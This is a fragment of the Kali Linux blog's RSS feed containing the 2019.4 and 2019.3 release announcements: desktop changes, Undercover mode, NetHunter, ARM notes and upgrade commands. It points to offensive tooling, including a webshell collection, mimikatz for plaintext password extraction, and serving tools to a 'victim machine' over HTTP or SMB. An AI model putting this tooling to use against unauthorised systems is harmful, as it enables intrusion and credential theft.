&lt;p>If one of your favorite applications appears among the &lt;a href="https://gitlab.com/groups/kalilinux/-/issues?label_name%5B%5D=Project%3A%3APy2Removal">affected Kali packages&lt;/a> or among the &lt;a href="https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=py2removal;users=debian-python@lists.debian.org;maint=team%2Bpkg-security@tracker.debian.org">affected packages from Debian&amp;rsquo;s pkg-security team&lt;/a>, then you should review its situation and possibly help the upstream developer(s) by submitting a pull request adding Python 3 support. Even if upstream is not very active, we will be able to merge your changes in Kali and keep the package for longer until upstream becomes active again.&lt;/p>
&lt;p>If you don&amp;rsquo;t have the coding skills required for this, you can still try to find a Python 3 fork/patch written by someone else and point it out to us in the corresponding GitLab issue or Debian bug report. Or, tell the developers how much you like their application and that you would like to continue to make use of it, so they should port over to Python 3.&lt;/p></description></item><item><title>Kali Linux 2019.4 Release (Xfce, Gnome, GTK3, Kali-Undercover, Kali-Docs, KeX, PowerShell &amp; Public Packaging)</title><link>https://www.kali.org/blog/kali-linux-2019-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2019-4-release/</guid><pubDate>Tue, 26 Nov 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-2019.4-release.jpg" type="image/jpg"/><description>&lt;p>Time to grab yourself a drink, this will take a while!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-preview-boot.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-preview-boot.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are incredibly excited to announce our fourth and final release of 2019, Kali Linux 2019.4, which is available immediately for &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>.&lt;/p>
&lt;p>2019.4 includes some exciting new updates:&lt;/p>
&lt;ul>
&lt;li>A new default desktop environment, Xfce&lt;/li>
&lt;li>New GTK3 theme (for Gnome and Xfce)&lt;/li>
&lt;li>Introduction of &amp;ldquo;Kali Undercover&amp;rdquo; mode&lt;/li>
&lt;li>Kali Documentation has a new home and is now Git powered&lt;/li>
&lt;li>Public Packaging - getting your tools into Kali&lt;/li>
&lt;li>Kali NetHunter KeX - Full Kali desktop on Android&lt;/li>
&lt;li>BTRFS during setup&lt;/li>
&lt;li>Added PowerShell&lt;/li>
&lt;li>The &lt;a href="https://pkg.kali.org/pkg/linux">kernel is upgraded to version 5.3.9&lt;/a>&lt;/li>
&lt;li>&amp;hellip; Plus the normal bugs fixes and updates.&lt;/li>
&lt;/ul>
&lt;h3 id="new-desktop-environment-and-gtk3-theme">New Desktop Environment and GTK3 Theme&lt;/h3>
&lt;p>There are a ton of updates to go over for this release, but the most in your face item that everyone is going to notice first are the changes to the desktop environment and theme. So let&amp;rsquo;s cover that first.&lt;/p>
&lt;p>An update to the desktop environment has been a long time coming. We have been talking about how to address this, what we wanted to do, experimenting on different approaches, and so on for months now. As a summary we had a few issues we wanted to address head-on:&lt;/p>
&lt;ul>
&lt;li>Performance issues - Gnome is a fully-featured desktop environment with a ton of awesome things it can do. But all these features comes with overhead, often overhead that is not useful for a distribution like Kali. We wanted to speed things up, and have a desktop environment that does only what it&amp;rsquo;s needed for, and nothing else. Gnome has been overkill for most Kali users, as many just want a window manager that allows you to run multiple terminal windows at once, and a web browser.&lt;/li>
&lt;li>Fractured user experience - We support a range of hardware, from the very high end to the very low. Because of this, traditionally our lower-end ARM builds have had a completely different UI than our standard. That&amp;rsquo;s not optimal, and we wanted to unify this experience so it did not matter if you were running on a bare metal install on a high end laptop or using a Raspberry Pi, the UI should be the same.&lt;/li>
&lt;li>Modern look - We have been using the same UI for quite a while now, and our old theme maintainer had moved on due to lack of time. So we wanted to go with something fresh, new, and modern.&lt;/li>
&lt;/ul>
&lt;p>To help us address these items, we tracked down &lt;a href="https://drasite.com/">Daniel Ruiz de Alegría&lt;/a> and started the development of a new theme running on Xfce. Why Xfce? After reviewing the above issues, we felt that Xfce addressed them best while still being accessible to the majority of users.&lt;/p>
&lt;p>The solution we&amp;rsquo;ve committed to is lightweight and can run on all levels of Kali installs. It is functional in that it handles the various needs of the average user with no changes. It is approachable where it uses standard UI concepts we are all familiar with to ensure there is no learning curve. And it looks great with modern UI elements that make efficient use of screen space.&lt;/p>
&lt;p>We are really excited about this UI update, and we think you are going to love it. However, as UI can be a bit like religion, if you don&amp;rsquo;t want to leave Gnome don&amp;rsquo;t worry. We still have a Gnome build for you, with a few changes already in place. As time goes by, we will be making changes to all of the desktop environments we release installs to get them &amp;ldquo;close&amp;rdquo; to a similar user experience no matter what DE you run. There will be limits to this, as we don&amp;rsquo;t have the resources to heavily invest in tweaking all these different environments. So if there is something you would like to see, feel free to submit a &lt;a href="https://bugs.kali.org/">feature request&lt;/a>!&lt;/p>
&lt;p>We have also released a FAQ about the new theme that you can find on our &lt;a href="https://www.kali.org/docs/general-use/xfce-faq/">docs page&lt;/a>. This includes some common items like how to switch to the theme on your existing install, how to change off of it if you don&amp;rsquo;t like it, and so on.&lt;/p>
&lt;h3 id="kali-undercover">Kali Undercover&lt;/h3>
&lt;p>With the change to the environment, we thought we would take a side step and do something fun. Thanks to Robert, who leads our penetration testing team, for suggesting a Kali theme that looks like Windows to the casual view, we have created the Kali Undercover theme.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-undercover-1.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-undercover-1.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Say you are working in a public place, hacking away, and you might not want the distinctive Kali dragon for everyone to see and wonder what it is you are doing. So, we made a little script that will change your Kali theme to look like a default Windows installation. That way, you can work a bit more incognito. After you are done and in a more private place, run the script again and you switch back to your Kali theme. Like magic!&lt;/p>
&lt;h3 id="kali-docs-is-now-on-markdown-and-new-home-docs">Kali-Docs is now on Markdown and new home (/docs/)&lt;/h3>
&lt;p>This may not be as flashy as the new theme, but the changes to the documentation we have done is just as significant.&lt;/p>
&lt;p>One of our go-forward goals with Kali is to move more of the development into the public and make it as easy as possible for anyone &lt;em>(that means you!)&lt;/em> to get &lt;a href="https://www.kali.org/docs/community/contribute/">involved and contribute&lt;/a> to Kali. That&amp;rsquo;s what our move to GitLab &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">earlier in the year&lt;/a> was all about. Another part of this is changing how we deal with docs.&lt;/p>
&lt;p>We have since moved all of our documentation into Markdown in a &lt;a href="https://gitlab.com/kalilinux/documentation/kali-docs">public Git repository&lt;/a>. From here on out anyone, not just Kali staff, can contribute to better documentation through merge requests. We will still approve any content changes, but once merged, changes will be automatically available on the docs section of our website.&lt;/p>
&lt;p>We encourage everyone to get involved! If you see something wrong in the existing docs, change it! If you have an idea for new docs, write it! These sorts of contributions make Kali better for everyone.&lt;/p>
&lt;p>This is just the first step. With this change in place, coming soon watch for a Kali-Docs package in Kali that gives you full offline access to the documentation on every install of Kali. Perfect for those situations where you are working in a closed-off environment with no Internet access.&lt;/p>
&lt;h3 id="public-packaging">Public Packaging&lt;/h3>
&lt;p>One of the more significant new documents we have done is &lt;a href="https://www.kali.org/docs/development/public-packaging/">documenting how you can make a new package&lt;/a> that will get included in Kali.&lt;/p>
&lt;p>One of the most common bug reports is requests for us to add new tools or update existing ones. Oftentimes, by the tool developers themselves as they recognize that having their tool in the Kali repo is the easiest distribution channel for security assessment tools there is. The volume of this has always been difficult to keep up with, and we have to make some hard decisions on where to commit our limited resources.&lt;/p>
&lt;p>Now with this work-flow in place and documented, you don&amp;rsquo;t have to wait on us. Go ahead and package up your tool and submit it off to us for approval. This is an awesome way to get involved with improving Kali.&lt;/p>
&lt;h3 id="btrfs-during-setup">BTRFS during setup&lt;/h3>
&lt;p>Another significant new addition to the documentation is the &lt;a href="https://www.kali.org/docs/installation/btrfs/">use of BTRFS as your root file system&lt;/a>. This is an amazing approach documented by @Re4son, that when done gives you the ability to do file system rollbacks after upgrades.&lt;/p>
&lt;p>When you are in a VM and about to try something new, you will often take a snapshot in case things go wrong you can easily go back to a known-good state. However, when you run Kali bare metal that&amp;rsquo;s not so easy. So you end up being extra careful, or if things go wrong have a lot of manual clean up to do. With BTRFS, you have this same snapshot capability on a bare metal install!&lt;/p>
&lt;p>As this is new, it&amp;rsquo;s not integrated into our installer yet. Once we get some feedback on how it&amp;rsquo;s working for everyone, the next step is to streamline this and make it an easier option in our installer. So if you try it out, be sure to let us know how it works for you!&lt;/p>
&lt;h3 id="powershell">PowerShell&lt;/h3>
&lt;p>On to other features, in case you missed it PowerShell is now in Kali. This has been really great to bring the ability to execute PowerShell scripts directly on Kali.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-4-release/images/power-shell-1-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-4-release/images/power-shell-1-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-pwsh-powershell-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-pwsh-powershell-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="nethunter-kex---full-kali-desktop-on-android-phones">NetHunter Kex - Full Kali Desktop on Android phones&lt;/h3>
&lt;p>Another feature we are super excited about is the introduction of NetHunter Kex. In a nutshell, this allows you to attach your Android device to an HDMI output along with Bluetooth keyboard and mouse and get a full, no compromise, Kali desktop. Yes. From your phone.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-kex-theme.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-4-release/images/kali-kex-theme.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We had a live &lt;a href="https://www.offsec.com/pwk-oscp/">Penetration Testing with Kali&lt;/a> course we were teaching, and NetHunter Kex was just in a beta stage. So we wanted to really push the limits. So, in the live course, what we did was attach a USB-C hub to our OnePlus7. This gave us HDMI and Ethernet access. We attached the HDMI to the projector and used a bluetooth keyboard/mouse. With this, we were able to do an entire PWK module from the phone.&lt;/p>
&lt;p>This is a feature you have to see to believe. Until you experience it, you won&amp;rsquo;t fully understand what this provides. With a strong enough phone, this is very similar to using a nice full-featured portable ARM desktop that happens to fit in your pocket. The possible ways you can leverage this in assessments is huge.&lt;/p>
&lt;p>To get a full breakdown on how to use NetHunter Kex, check out our &lt;a href="https://www.kali.org/docs/nethunter/nethunter-kex-manager/">docs at&lt;/a>.&lt;/p>
&lt;h2 id="arm">ARM&lt;/h2>
&lt;p>&lt;strong>2019.4 is the last release that will support 8GB sdcards on ARM. Starting in 2020.1, a 16GB sdcard will be the minimum we support. You will always be able to create your own image that supports smaller cards if you desire.&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>RaspberryPi kernel was updated to 4.19.81, and the firmware package was updated to include the eeprom updates for the RaspberryPi 4.&lt;/li>
&lt;/ul>
&lt;p>During the release testing, a limited number of devices were not showing the Kali menu properly. This was not critical enough to delay the release, so instead as a work-around you can run the following command to display the menu correctly:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update &amp;amp;&amp;amp; apt dist-upgrade
&lt;/code>&lt;/pre>
&lt;p>Once this completes, log out, so you&amp;rsquo;re back at the login manager. Then switch to a console via CTRL+ALT+F11 (on the Chromebooks this is the key pointing left next to the ESC key).&lt;/p>
&lt;p>Login and then run:&lt;/p>
&lt;pre>&lt;code class="language-sh">rm -rf .cache/ .config/ .local/ &amp;amp;&amp;amp; sync &amp;amp;&amp;amp; reboot
&lt;/code>&lt;/pre>
&lt;p>After reboot, the menu will have the correct entries. We&amp;rsquo;re still looking into why it occurs on only some of the images.&lt;/p>
&lt;h2 id="download-kali-linux-20194">Download Kali Linux 2019.4&lt;/h2>
&lt;p>So what are you waiting for? Start the &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> now!&lt;/p>
&lt;p>Also, just to mention we do also produce &lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a> that you can use as well. If it&amp;rsquo;s been some time since our last release and you want the latest packages you don&amp;rsquo;t have to go off our latest release and update. You can just use the weekly image instead, and have fewer updates to do. Just know these are automated builds that we don&amp;rsquo;t QA like we do our standard release images.&lt;/p>
&lt;p>If you already have an existing Kali installation, remember you can always do a quick update:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat &amp;lt;/etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
root@kali:~#
root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
root@kali:~#
root@kali:~# [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; reboot -f
&lt;/code>&lt;/pre>
&lt;p>If you want to switch to our new Xfce:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt -y install kali-desktop-xfce
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2019.4. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2019.4&amp;quot;
VERSION_ID=&amp;quot;2019.4&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
root@kali:~#
root@kali:~# uname -v
#1 SMP Debian 5.3.9-3kali1 (2019-11-20)
root@kali:~#
root@kali:~# uname -r
5.3.0-kali2-amd64
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &amp;ldquo;uname -r&amp;rdquo; may be different depending on &lt;a href="https://pkg.kali.org/pkg/linux-latest">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Kali Linux 2019.3 Release (Cloudflare, Kali-status, metapackages, Helper-Scripts &amp; LXD)</title><link>https://www.kali.org/blog/kali-linux-2019-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2019-3-release/</guid><pubDate>Mon, 02 Sep 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2019-3-release/images/kali-release-2019.jpg" type="image/jpg"/><description>&lt;p>We are pleased to announce that our third release of 2019, Kali Linux 2019.3, is available immediately for &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>. This release brings our &lt;a href="https://pkg.kali.org/pkg/linux">kernel up to version 5.2.9&lt;/a>, and includes various new features across the board with NetHunter, ARM and packages (plus the normal bugs fixes and updates).&lt;/p>
&lt;p>As promised in our &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">roadmap blog post&lt;/a>, there are both user facing and backend updates.&lt;/p>
&lt;h2 id="cloudflare">Cloudflare&lt;/h2>
&lt;p>&lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">Kali Linux is Open-source&lt;/a>, and &lt;a href="https://blog.cloudflare.com/cloudflare-open-source-your-upgrade-is-on-the-house/">Cloudflare hearts Open-source&lt;/a> - so it&amp;rsquo;s a perfect match! As a result, Cloudflare has graciously allowed us to use their content delivery network (CDN) to mirror our repository, allowing us to now distribute our content through them. A more technical breakdown can be found on &lt;a href="https://blog.cloudflare.com/cloudflare-repositories-ftw/">their blog&lt;/a>.&lt;/p>
&lt;p>We are currently running the Cloudflare services side by side with our standard and community mirrors.&lt;/p>
&lt;p>If you notice the &lt;code>kali.download&lt;/code> domain appearing on screen when you run &lt;code>apt update&lt;/code>, this means you&amp;rsquo;re using Cloudflare&amp;rsquo;s services.&lt;/p>
&lt;h2 id="kali-status">Kali Status&lt;/h2>
&lt;p>We now have a &lt;a href="https://status.kali.org/">status page - status.kali.org&lt;/a>. This provides an overview of all public facing domains and allows you to check if they are responding correctly. We have included all the sites we control, as well as the community mirrors for the repositories, allowing you to see everything you could possibly use (even if you are unaware)!&lt;/p>
&lt;p>Note: Our load balancer on http.kali.org should automatically detect when a mirror is not responding and redirect you to one that is. As such, &lt;code>apt&lt;/code> should always work &lt;em>(even if slow at times)&lt;/em>.&lt;/p>
&lt;h2 id="metapackages">Metapackages&lt;/h2>
&lt;p>We already announced the &lt;a href="https://www.kali.org/blog/major-metapackage-makeover/">changes to metapackages in a previous blog post&lt;/a>, and the &lt;a href="https://www.kali.org/docs/general-use/metapackages/">Kali tool listing page&lt;/a> goes into more detail on it. However, to recap, the default toolset going forward has changed. To help with this transition, for this release only (Kali 2019.3), there is a one-off, extra image called &lt;code>kali-linux-large-2019.3-amd64.iso&lt;/code>, that contains all previous default tools.&lt;/p>
&lt;p>Going forward, during our release cycle, we will be evaluating which tools belong to each group:&lt;/p>
&lt;ul>
&lt;li>Kali-linux-default - tools we believe are essential to a penetration tester&lt;/li>
&lt;li>Kali-linux-large - for penetration testers who have a wider set of non standard/common situations&lt;/li>
&lt;li>Kali-linux-everything - for those who want it all (and without Internet access during the assessment)&lt;/li>
&lt;/ul>
&lt;p>With the switchover to &lt;a href="https://gitlab.com/kalilinux">GitLab&lt;/a> (&lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">read more here&lt;/a>), we will soon begin accepting community package submissions. This means that anyone can directly submit improvements to us&amp;ndash;anything from minor fixes and patches to complete tool packages is encouraged. We&amp;rsquo;re currently working through the documentation on how to create a package, making it easier for folks to get started and help out. More details to come later this year.&lt;/p>
&lt;p>We also noticed some packages failed to build on certain ARM architectures, which has now been fixed (allowing for more tools to be used on different platforms!).&lt;/p>
&lt;h2 id="helper-scripts">Helper Scripts&lt;/h2>
&lt;p>There&amp;rsquo;s a wide range of tools in Kali. Some tools are designed to be used on Linux, some are designed for Windows &lt;em>(and we can still use them with WINE)&lt;/em>, and some are static resources. During our recent &lt;a href="https://www.kali.org/blog/major-metapackage-makeover/">metapackage refresh&lt;/a>, we took the time to create a few &amp;ldquo;helper scripts&amp;rdquo;.&lt;/p>
&lt;p>You may have installed a package, gone ahead and typed in the package name to run it, and the response back was &lt;code>command not found&lt;/code>. Not any more!&lt;/p>
&lt;p>We understood it may not have been obvious how to use them straight away. As a result, all of our static resources should now be easy to find. Just type in the package name (Such as &lt;a href="https://pkg.kali.org/pkg/payloadsallthethings">PayloadsAllTheThings&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/seclists">SecLists&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/webshells">WebShells&lt;/a> and &lt;a href="https://pkg.kali.org/pkg/wordlists">Wordlists&lt;/a> to a name a few), you&amp;rsquo;ll see a brief description, a directory listing, and then be moved to the folder:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# webshells
&amp;gt; webshells ~ Collection of webshells
/usr/share/webshells
|--asp
|--aspx
|--cfm
|--jsp
|--perl
|--php
root@kali:/usr/share/webshells#
&lt;/code>&lt;/pre>
&lt;p>When it comes to Windows binaries (Such as &lt;a href="https://pkg.kali.org/pkg/hyperion">hyperion&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/mimikatz">mimikatz&lt;/a>, and &lt;a href="https://pkg.kali.org/pkg/windows-privesc-check">windows-privesc-check&lt;/a>), depending on their functionality, it will now either start up WINE or, like above, hotlink you to the location:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# mimikatz
&amp;gt; mimikatz ~ Uses admin rights on Windows to display passwords in plaintext
/usr/share/windows-resources/mimikatz
|---kiwi_passwords.yar
|---mimicom.idl
|---Win32
|----mimidrv.sys
|----mimikatz.exe
|----mimilib.dll
|----mimilove.exe
|---x64
|----mimidrv.sys
|----mimikatz.exe
|----mimilib.dll
root@kali:/usr/share/windows-resources/mimikatz#
root@kali:/usr/share/windows-resources/mimikatz# shellter
1010101 01 10 0100110 10 01 11001001 0011101 001001
11 10 01 00 01 01 01 10 11 10
0010011 1110001 11011 11 10 00 10011 011001
11 00 10 01 11 01 11 01 01 11
0010010 11 00 0011010 100111 000111 00 1100011 01 10 v7.1
www.ShellterProject.com Wine Mode
Choose Operation Mode - Auto/Manual (A/M/H):
&lt;/code>&lt;/pre>
&lt;p>On the subject of tool type, we have altered the location of packages related to Windows (which eagle eye readers may have spotted in the example above). These types of tools are now located in &lt;code>/usr/share/windows-resources/&lt;/code>. For example, our windows binaries used to be in &lt;code>/usr/share/windows-binaries/&lt;/code>, instead, they are in &lt;code>/usr/share/windows-resources/binaries/&lt;/code>.
We have done this to make it easier to discover what resources can be transferred over to a Windows platform and executed directly there. Using this new location as a root path (example: http &lt;code>python3 -m http.server&lt;/code>, or samba &lt;code>impacket-smbserver toolz .&lt;/code>), you can quickly share everything to the target/victim machine).&lt;/p>
&lt;h2 id="tool-updates--new-packages">Tool Updates &amp;amp; New Packages&lt;/h2>
&lt;p>As always, we have our updates for all our tools, including (but not limited to):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/burpsuite">Burp Suite&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/hostapd-wpe">HostAPd-WPE&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/hyperion">Hyperion&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/kismet">Kismet&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/nmap">Nmap&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>There is a new tool (and it is included by default), &lt;a href="https://pkg.kali.org/pkg/amass">amass&lt;/a>, that has been well received in the bug bounty world.&lt;/p>
&lt;h2 id="gnome-users">GNOME Users&lt;/h2>
&lt;p>If you use the default Kali image, it is &lt;em>(currently)&lt;/em> using GNOME for the desktop environment. If you used the command line for a period of time, chances are you noticed it was refreshing the repositories in the background. This has now been &lt;a href="https://bugs.kali.org/view.php?id=5236">disabled&lt;/a>.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;The quieter you become, the more you are able to hear&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;h2 id="nethunter-updates">NetHunter Updates&lt;/h2>
&lt;p>The NetHunter crew has been adding in features left, right, and center to their project. One thing to note is package management is done through the F-Droid compatible &lt;a href="https://store.nethunter.com/">NetHunter store&lt;/a>, so you can even choose to have a NetHunter device without any Google Play.&lt;/p>
&lt;p>The proxmark3 client supports RDV4 out of the box and NetHunter now also works with Android&amp;rsquo;s new partition layouts (A/B partitions no longer have one boot partition and one recovery partition. They are all the same, but twice! A few paths have also changed, such as &lt;code>/system&lt;/code> now actually being under &lt;code>/system/system&lt;/code>), which allows it to be built for the latest generation of devices.&lt;/p>
&lt;p>Plus, there are new apps in the NetHunter app store, thanks to &lt;a href="https://twitter.com/mayank_metha">@mayank_metha&lt;/a> for Rucky and the &lt;a href="https://github.com/termux/termux-app/graphs/contributors">Termux team&lt;/a> for Termux.&lt;/p>
&lt;p>There are 4 additional images for you to try NetHunter on (some may look familiar, as they are back due to community demand):&lt;/p>
&lt;ul>
&lt;li>LG V20 International Edition&lt;/li>
&lt;li>Nexus 5X&lt;/li>
&lt;li>Nexus 10&lt;/li>
&lt;li>OnePlus 7 (Our new flagship device!)&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-3-release/images/nethunter-release-2019.3-02.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-3-release/images/nethunter-release-2019.3-02.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>With this announcement, the &lt;strong>OnePlus 7&lt;/strong> is now the phone we recommend for Kali NetHunter. It is the latest and greatest flagship device for half the price of other devices. The specifications are as follows:&lt;/p>
&lt;ul>
&lt;li>Snapdragon 855&lt;/li>
&lt;li>8GB RAM&lt;/li>
&lt;li>256GB storage&lt;/li>
&lt;li>Still cheaper than Google pixel 3a (mid-range phone!) ;)&lt;/li>
&lt;/ul>
&lt;p>And here is a sneaky peak at the new boot animation, across all devices:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2019-3-release/images/nethunter-release-2019.3-01.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2019-3-release/images/nethunter-release-2019.3-01.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="arm-update">ARM Update&lt;/h2>
&lt;p>For ARM devices this release, we have added support for the &lt;a href="https://www.pine64.org/pinebook/">PINEBOOK&lt;/a> as well as the &lt;a href="https://www.gateworks.com/imx6-single-board-computer-gateworks-ventana-family">Gateworks Ventana&lt;/a> machines.&lt;/p>
&lt;p>The RaspberryPi kernel has been bumped to version 4.19.66, which includes support for all of the RAM on 64-bit versions of the RaspberryPi 4. The RaspberryPi Zero W has seen improvements as well.&lt;/p>
&lt;p>Bluetooth firmware that was accidentally dropped has been added back in, and the &lt;code>rc.local&lt;/code> file has been fixed to properly stop &lt;code>dmesg&lt;/code> spam from showing up on the first console.&lt;/p>
&lt;p>All of the RaspberryPi images have had their &lt;code>/boot&lt;/code> partition increased, which is required due to the size of the new kernel packages.&lt;/p>
&lt;p>The ODROID-C2 has been bumped to the 3.16.72 for its kernel.&lt;/p>
&lt;p>All images now run &lt;code>dpkg-reconfigure xfonts-base&lt;/code> on their first boot - this will cause a bit of a slow down for the first boot, but the result is that if you use VNC to any of them, they will no longer show a blank screen.&lt;/p>
&lt;p>On the &lt;a href="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/">WSL&lt;/a> front, we have added WSL ARM64 support, which you can find in the &lt;a href="https://www.microsoft.com/en-us/p/kali-linux/9pkr34tncv07?rtc=1&amp;amp;activetab=pivot:overviewtab">Windows store&lt;/a> today.&lt;/p>
&lt;h2 id="official-kali-linux-lxd-container-image-released">Official Kali Linux LXD Container Image Released&lt;/h2>
&lt;p>LXD is a next generation system container manager. It offers a user experience similar to virtual machines but using Linux containers instead.&lt;/p>
&lt;p>It is image based with pre-made images available for a wide number of Linux distributions and we are excited to announce that Kali Linux is now one of them. We are working on the documentation but would like to share the excellent article from &lt;a href="https://blog.simos.info/using-the-lxd-kali-container-image/">Simos Xenitellis&lt;/a> in which he details how to install and run Kismet in a LXD Kali container.&lt;/p>
&lt;h2 id="setup-notes">Setup Notes&lt;/h2>
&lt;p>A couple of notes when installing Kali. If you choose to install Kali in a VM (rather than &lt;a href="https://www.kali.org/get-kali/#kali-vm">downloading our pre-made image&lt;/a>), during the setup process, it should now detect if its running in &lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-tools/">VMware&lt;/a> or &lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-additions/">VirtualBox&lt;/a> and install the necessary packages to give you the best experience possible. However, if you have upgraded Kali rather than doing a fresh install, and never got around to installing these packages, the process has been automated by just running &lt;code>kali-setup&lt;/code>. This program will have more functionally at a later date.&lt;/p>
&lt;p>If you use Kali in a VirtualBox, please ensure you allocate 32 MB or more video memory to the VM, otherwise you may now run into some &amp;ldquo;interesting&amp;rdquo; issues where the screen is frozen after login through the graphical greeter, as if the computer had crashed, except that it&amp;rsquo;s working (you could confirm it by switching to another virtual terminal). If you are affected by this &lt;a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=934483">problem&lt;/a>, you might see the following message from the kernel: &lt;code>[drm] Error -12 pinnning new fb, out of video mem?&lt;/code>.&lt;/p>
&lt;p>If you are using Kali Linux via &lt;a href="https://www.kali.org/blog/announcing-kali-for-vagrant/">Vagrant&lt;/a>, the path has now changed. It can now be found here: &lt;a href="https://app.vagrantup.com/kalilinux">kalilinux/rolling&lt;/a>.&lt;/p>
&lt;h2 id="download-kali-linux-20193">Download Kali Linux 2019.3&lt;/h2>
&lt;p>If you would like to check out the latest Kali release, you can find the download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads page&lt;/a> along with links to the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec virtual machine and ARM images&lt;/a>, which have also been updated to 2019.3. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;h2 id="ensuring-your-installation-is-updated">Ensuring your Installation is Updated&lt;/h2>
&lt;p>To double check your version, first make sure your Kali package repositories are correct:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat &amp;lt;&amp;lt;EOF&amp;gt;/etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
root@kali:~#
root@kali:~# apt update
&lt;/code>&lt;/pre>
&lt;p>Afterwards run &lt;code>apt -y full-upgrade&lt;/code>, you may require a &lt;code>reboot&lt;/code> (if the kernel got upgraded):&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt -y full-upgrade
...
root@kali:~#
root@kali:~# [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; reboot -f
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2019.3. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2019.3&amp;quot;
